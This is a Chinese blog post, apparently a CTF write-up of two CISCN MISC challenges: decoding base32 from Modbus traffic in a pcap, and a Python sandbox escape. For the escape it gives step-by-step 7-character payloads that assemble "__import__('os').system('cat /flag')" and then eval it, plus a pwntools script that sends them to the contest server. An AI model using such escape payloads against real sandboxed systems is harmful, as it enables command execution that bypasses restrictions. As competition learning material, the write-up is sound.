第十六届CISCN复现----MISC

文章介绍了如何使用Wireshark的pyshark和tshark工具分析加密的工控流量,识别出base32编码的密码,并成功解密获取flag。此外,还探讨了Python沙盒逃逸的概念,展示了通过限制字符串长度和拼接调用来执行命令的技巧,最终获取系统权限。
摘要由CSDN通过智能技术生成

1.被加密的生产流量

 下载附件,发现是一个文件名为modus的压缩包,解压后是一个pcap文件,用wireshark打开

文件名modus,已经提示了工控流量,很多情况下都是和TCP协议结合起来的

工控CTF之协议分析1——Modbus_ctf modbus_Shadow丶S的博客-CSDN博客

直接追踪TCP

 发现竟然出现了=,条件反射联想到base密码,base32加密特征:密文由32个字符(A-Z,2-7)组成

其实第一反应还是base64,但是没做出来,才改的base32

 套上flag提交的壳就成功了

在复现途中,看到了一些大佬的解题思路,很棒,很新颖,自己还需继续钻研

利用pyshark解题:

"pyshark"库是一个用于捕获、解析和分析网络流量的Python库。它是基于Wireshark开发的,可以很方便地在Python环境中使用Wireshark的功能。

python 的pyshark库如何使用 - 知乎

NSSCTF | 在线CTF平台

pyshark使用教程_迷人的派大星的博客-CSDN博客

利用tshark解题:

tshark相当于是命令行版的wireshark,不需要额外安装,在安装wireshark的时候就会安装上这个工具。建议把tshark加入到环境变量中,方便后续使用!

tshark在流量分析中的绝佳应用(超详细)_lainwith的博客-CSDN博客

第十六届全国大学生信息安全竞赛 初赛 Writeup by X1cT34m | 小绿草信息安全实验室

2.pyshell

 题目标签中有一个沙盒逃逸,恕我不知道啥意思,

沙盒逃逸:

沙盒逃逸的过程就是在一个代码执行的环境下,脱离种种过滤和限制,最终拿到shell权限的过程。也就是绕过各种黑名单最终拿到系统命令执行权限。

浅析Python沙盒逃逸-腾讯云开发者社区-腾讯云

感觉有点像命令过滤,只不过这个是在python下,执行的而已

python沙箱逃逸总结 - 先知社区

 看的似懂非懂了,做一下题目

在虚拟机中进行nc连接

 能发现其实此时已经进入了python

 查看python内置文件可以看出语句之间需要_拼接

 通过测试和题目名称得知存在python沙盒逃逸并且一次只能输入7个字符串,使用+进行拼接调用eval函数成功执行命令

第一种:

'open'

_+"('/"

_+"fl"

_+"ag"

_+"')."

_+"re"

_+"ad"

_+"()"

_

eval(_)

exec(_)

 第二种:

>>'__imp'
'__imp'
>>_+'ort'
'__import'
>>_+'__('
'__import__('
>>_+"'os"
"__import__('os"
>>_+"')"
"__import__('os')"
>>_+".s"
"__import__('os').s"
>>_+"ys"
"__import__('os').sys"
>>_+"te"
"__import__('os').syste"
>>_+"m("
"__import__('os').system("
>>_+"'c"
"__import__('os').system('c"
>>_+'at '
"__import__('os').system('cat "
>>_+'/fl'
"__import__('os').system('cat /fl"
>>_+"ag"
"__import__('os').system('cat /flag"
>>_+"')"
"__import__('os').system('cat /flag')"
>>eval(_)

 运行成功即可获得flag

但是当自己运行时发现一直跳转,于是用了脚本来跑,同样可以获取flag

from pwn import *
io = remote('node1.anna.nssctf.cn', 28073)
io.send("'print'")
sleep(1)
io.send("_+'(op'")
sleep(1)
io.send("_+'en('")
sleep(1)
io.send("_+'\"/f'")
sleep(1)
io.send("_+'lag'")
sleep(1)
io.send("_+'\").'")
sleep(1)
io.send("_+'rea'")
sleep(1)
io.send("_+'d()'")
sleep(1)
io.send("_+')'")
sleep(1)
io.send('eval(_)')
flag = io.recvline()
print(flag)
io.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值